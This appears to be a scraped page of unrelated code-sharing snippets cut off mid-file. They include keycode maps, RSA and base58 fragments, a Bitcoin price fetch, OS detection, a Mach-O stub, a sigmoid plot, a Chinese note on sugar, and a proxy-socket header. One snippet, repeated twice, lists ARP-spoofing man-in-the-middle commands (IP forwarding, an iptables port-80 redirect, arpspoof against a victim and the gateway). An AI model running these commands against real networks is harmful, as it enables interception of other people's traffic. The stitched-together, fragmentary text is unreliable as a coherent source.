- Enable IP forwarding & port redirection
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080- Use
tmuxto run 2 instances ofarpspoof:
arpspoof -i $INTERFACE -t $VICTIM_IP $GATEWAY_IP| # keydown data from the web | |
| # http://www.cambiaresearch.com/articles/15/javascript-char-codes-key-codes | |
| map = | |
| backspace: 8 | |
| tab: 9 | |
| enter: 13 | |
| shift: 16 | |
| ctrl: 17 |
| ''' | |
| 620031587 | |
| Net-Centric Computing Assignment | |
| Part A - RSA Encryption | |
| ''' | |
| import random | |
| ''' |
| """ base58 encoding / decoding functions """ | |
| import unittest | |
| alphabet = '123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ' | |
| base_count = len(alphabet) | |
| def encode(num): | |
| """ Returns num in a base58-encoded string """ | |
| encode = '' | |
| import urllib2 | |
| import json | |
| data = urllib2.urlopen("http://api.bitcoincharts.com/v1/weighted_prices.json") | |
| def convert_to_bitcoin(amount, currency): | |
| bitcoins = json.loads(data.read()) | |
| converted = float(bitcoins[currency]["24h"]) * amount | |
| print converted |
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080tmux to run 2 instances of arpspoof:arpspoof -i $INTERFACE -t $VICTIM_IP $GATEWAY_IP| // This script sets OSName variable as follows: | |
| // "Windows" for all versions of Windows | |
| // "MacOS" for all versions of Macintosh OS | |
| // "Linux" for all versions of Linux | |
| // "UNIX" for all other UNIX flavors | |
| // "Unknown OS" indicates failure to detect the OS | |
| var OSName="Unknown OS"; | |
| if (navigator.appVersion.indexOf("Win")!=-1) OSName="Windows"; | |
| if (navigator.appVersion.indexOf("Mac")!=-1) OSName="MacOS"; |
| ; A minimal Mach-o x64 executable for OS X (also see below Mountain Lion version) | |
| ; | |
| ; $ nasm -f bin -o tiny_hello tiny_hello.s | |
| ; $ chmod +x tiny_hello | |
| ; $ ./tiny_hello | |
| ; Hello World! | |
| ; $ | |
| ; c.f. | |
| ; http://osxbook.com/blog/2009/03/15/crafting-a-tiny-mach-o-executable/ ( the original tiny mach-o executable ) |
| #import section | |
| from matplotlib import pylab | |
| import pylab as plt | |
| import numpy as np | |
| #sigmoid = lambda x: 1 / (1 + np.exp(-x)) | |
| def sigmoid(x): | |
| return (1 / (1 + np.exp(-x))) | |
| mySamples = [] |
| 糖份進入身體之後,會刺激大腦釋放「血清素」(serotonin)以及「多巴胺」(dopamine),這兩種神經傳導物質會讓人「感覺良好」。這能解釋為何很多人一旦壓力大,就想吃甜的;吃了甜食,就覺得心情好多了。 |
| ''' | |
| Establish a socket connection through an HTTP proxy. | |
| Author: Fredrik Østrem <[email protected]> | |
| License: | |
| Copyright 2013 Fredrik Østrem | |
| Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated | |
| documentation files (the "Software"), to deal in the Software without restriction, including without |